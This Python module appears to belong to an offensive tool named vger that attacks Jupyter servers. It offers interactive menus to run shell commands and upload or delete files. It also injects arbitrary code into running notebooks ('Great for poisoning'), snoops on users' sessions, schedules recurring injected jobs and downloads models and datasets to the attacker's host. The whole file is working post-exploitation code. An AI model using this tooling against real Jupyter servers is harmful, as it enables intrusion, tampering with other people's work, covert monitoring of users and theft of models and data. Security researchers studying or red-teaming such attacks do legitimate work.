import inquirer
import asyncio
from vger.attack import Attack
import json
import base64
import multiprocessing as mp
from vger.connection import DumbConnection, Connection
from vger.enumerate import Enumerate


class Exploit:
    def __init__(self, host_or_connection, secret=None, target_notebook=""):
        if isinstance(host_or_connection, (Connection, DumbConnection)):
            self.connection = host_or_connection
        else:
            self.connection = Connection(host_or_connection, secret)
        self.connection.target = self._get_target(target_notebook)

    def _get_target(self, notebook_name):
        self.connection.list_running_jpy_sessions()
        for s in self.connection.jpy_sessions:
            if notebook_name in self.connection.jpy_sessions[s]["name"]:
                return s
        self.connection.print_with_rule("No notebook found with that name")
        return None

    def exploit(self):
        if self.connection.first_time_in_menu["exploit"]:
            self.connection.first_time_in_menu["exploit"] = False
            self.connection.print_with_rule(
                """
                Expand your access into the jupyter server and start interacting with notebooks.
                [bold red]Run shell commands[/bold red] to change server state.
                [bold red]Upload[/bold red] and [bold red]Delete[/bold red] files to exfiltrate valuable artifacts or upload payloads.
                [bold red]Attack running notebooks[/bold red] to inject code or Attack(self.connection).snoop on sessions.
                [bold red]Download models[/bold red] and [bold red]datasets[/bold red] to your local host.
                """,
                category="Exploit",
            )
        exploit_menu = [
            inquirer.List(
                "option",
                "How would you like to exploit?",
                choices=[
                    "Run shell command",
                    "Upload file",
                    "Delete file",
                    "Attack running notebook",
                    "Download models",
                    "Download datasets",
                    "Back to main menu",
                ],
            )
        ]
        answer = inquirer.prompt(exploit_menu)
        match answer["option"]:
            case "Run shell command":
                Enumerate(self.connection).run_in_shell()
                self.exploit()
            case "Upload file":
                self.upload()
                self.exploit()
            case "Delete file":
                self.delete()
                self.exploit()
            case "Attack running notebook":
                session_count = Enumerate(self.connection).pick_target()
                if session_count:
                    self.exploit_attack()
                else:
                    self.connection.print_with_rule("Returning to exploit menu")
                    self.exploit()
            case "Download models":
                Enumerate(self.connection).download_files(self.connection.model_paths)
                self.exploit()
            case "Download datasets":
                Enumerate(self.connection).download_files(self.connection.datasets)
                self.exploit()
            case "Back to main menu":
                self.connection.menu.menu()

    def exploit_attack(self):
        if self.connection.first_time_in_menu["exploit_attack"]:
            self.connection.first_time_in_menu["exploit_attack"] = False
            self.connection.print_with_rule(
                """
                Focus on a specific notebook session.
                [bold red]Show history[/bold red] of commands run in the notebook.
                [bold red]List imported modules[/bold red] in the notebook. Useful for identifying what imports you have available.
                [bold red]Inject code[/bold red] into the notebook runtime (just as if the user ran it). Great for poisoning.
                [bold red]Snoop[/bold red] on the notebook session to see what the user is doing.
                [bold red]Start and kill recurring jobs[/bold red] to inject code on your schedule.
                """,
                category="Exploit Notebook",
            )
        attack_menu = [
            inquirer.List(
                "option",
                "Show history or inject code?",
                choices=[
                    "Show history",
                    "List imported modules",
                    "Inject code",
                    "Snoop",
                    "Recurring job",
                    "Kill job",
                    "Switch notebook",
                    "Back to main menu",
                ],
            )
        ]
        answer = inquirer.prompt(attack_menu)
        match answer["option"]:
            case "Show history":
                self.dump_history()
                self.exploit_attack()
            case "List imported modules":
                self.list_modules()
                self.exploit_attack()
            case "Inject code":
                self.inject()
                self.exploit_attack()
            case "Switch notebook":
                self.switch_target_notebook()
                self.exploit_attack()
            case "Snoop":
                self.snoop_for()
                self.exploit_attack()
            case "Recurring job":
                self.stomp()
                self.exploit_attack()
            case "Kill job":
                if len(self.connection.jobs) > 0:
                    self.kill_job()
                else:
                    self.connection.print_with_rule("No running jobs to kill")
                self.exploit_attack()
            case "Back to main menu":
                self.connection.menu.menu()

    def inject(self, interactive=True, payload_path=""):
        """
        Run code in the context of a notebook runtime. This can be used to overwrite existing variables or modify data.
        """
        if interactive:
            attack_menu = [
                inquirer.List(
                    name="payload",
                    message="Would you like to use an editor for your payload or reference an existing .py file?",
                    choices=["editor", ".py"],
                )
            ]
            answer = inquirer.prompt(attack_menu)
            if answer["payload"] == "editor":
                payload_str = inquirer.editor("What code would you like to inject?")
            else:
                payload = [
                    inquirer.Path(
                        name="path",
                        message="Where is the payload .py? ",
                        path_type=inquirer.Path.FILE,
                        exists=True,
                    )
                ]
                answer = inquirer.prompt(payload)
                payload_path = answer["path"].split("? ")[-1]
        if payload_path:
            with open(payload_path, "r") as f:
                payload_str = f.read()
        loop = asyncio.get_event_loop()
        loop.run_until_complete(
            Attack(self.connection).attack_session(self.connection.target, payload_str)
        )

    def dump_history(self):
        """
        Use IPython magic to see the notebook command history.
        """
        loop = asyncio.get_event_loop()
        loop.run_until_complete(
            Attack(self.connection).attack_session(
                self.connection.target,
                "%history",
                silent=False,
                print_out=False,
            )
        )

    def switch_target_notebook(self):
        """
        Change target notebook for notebook-specific operations.
        """
        self.connection.list_running_jpy_sessions()
        Enumerate(self.connection).pick_target()
        self.exploit_attack()

    def upload(self, interactive=True, in_path="", out_path=""):
        """
        Upload file from local host to target host.
        """
        if interactive:
            payload = [
                inquirer.Path(
                    name="path",
                    message="What file do you want to upload? ",
                    path_type=inquirer.Path.FILE,
                    exists=True,
                )
            ]
            answer = inquirer.prompt(payload)
            in_path = answer["path"].split("? ")[-1]
        with open(in_path, "rb") as f:
            payload = f.read()
            payload = base64.b64encode(payload).decode("utf-8")
        if interactive:
            target = [
                inquirer.Text(
                    "path", "Where do you want to place the file?", default="/"
                )
            ]
            answer = inquirer.prompt(target)
            out_path = answer["path"]
        data = {
            "content": payload,
            "format": "base64",
            "path": out_path,
            "type": "file",
        }
        self.connection.print_with_rule(
            self.connection.upload(out_path, json.dumps(data))
        )

    def delete(self, interactive=True, path=""):
        """
        Delete specific file.
        """
        if interactive:
            target = [inquirer.Text("path", "What file do you want to delete?")]
            answer = inquirer.prompt(target)
            path = answer["path"]
        response = self.connection.delete(path)
        if response.status_code == 204:
            self.connection.print_with_rule(f"{path} deleted successfully")
        else:
            self.connection.print_with_rule(f"Error deleting {path}")

    def snoop_for(self, interactive=True, timeout=60):
        """
        Monitor notebook execution and output for specified time.
        """
        if interactive:
            if not self.connection.target:
                self.connection.print_with_rule("You must select a target to snoop on")
                Enumerate(self.connection).pick_target()
                self.snoop_for()
            else:
                answer = [
                    inquirer.Text(
                        "seconds", "How many seconds would you like to snoop for?"
                    )
                ]
                answer = inquirer.prompt(answer)
                try:
                    int(answer["seconds"])
                except (ValueError, KeyboardInterrupt):
                    self.connection.print_with_rule(
                        "Please specify a timeout in seconds"
                    )
                    self.menu()
            timeout = int(answer["seconds"])
        loop = asyncio.get_event_loop()
        with self.connection.con.status("snooping..."):
            loop.run_until_complete(
                Attack(self.connection).snoop(self.connection.target, timeout=timeout)
            )

    def stomp(self):
        answers = [
            inquirer.Text("job_name", "What do you want to name this job?"),
            inquirer.Editor(
                "objective", "What do you want to run on a recurring basis?"
            ),
            inquirer.Text(
                "sleep", "How many seconds do you want to sleep between runs?"
            ),
        ]
        answers = inquirer.prompt(answers)
        if answers["job_name"] in self.connection.jobs:
            self.connection.print_with_rule(
                "Job name already exists. Choose a unique name so that you can manage the job."
            )
            self.exploit_attack()
        else:
            ctx = mp.get_context("spawn")
            x = DumbConnection(self.connection.url, self.connection.secret)
            x.list_running_jpy_sessions()
            try:
                p = ctx.Process(
                    target=Attack(x).stomp,
                    args=(
                        self.connection.target,
                        answers["objective"],
                        int(answers["sleep"]),
                    ),
                )
            except:
                self.connection.print_with_rule("Invalid args")
                self.exploit_attack()
            self.connection.jobs[answers["job_name"]] = p
            p.start()

    def kill_job(self):
        answers = [
            inquirer.Checkbox(
                "jobs",
                "What job(s) do you want to kill?",
                choices=self.connection.jobs.keys(),
            )
        ]
        answers = inquirer.prompt(answers)
        for job in answers["jobs"]:
            self.connection.jobs[job].kill()
            self.connection.print_with_rule(f"Killed {job}")

    def list_modules(self):
        payload_str = (
            "from types import ModuleType as MT;\n"
            + "[k for k, v in globals().items() if type(v) is MT and not k.startswith('__')]"
        )
        loop = asyncio.get_event_loop()
        loop.run_until_complete(
            Attack(self.connection).attack_session(
                self.connection.target, payload_str, silent=False, print_out=False
            )
        )
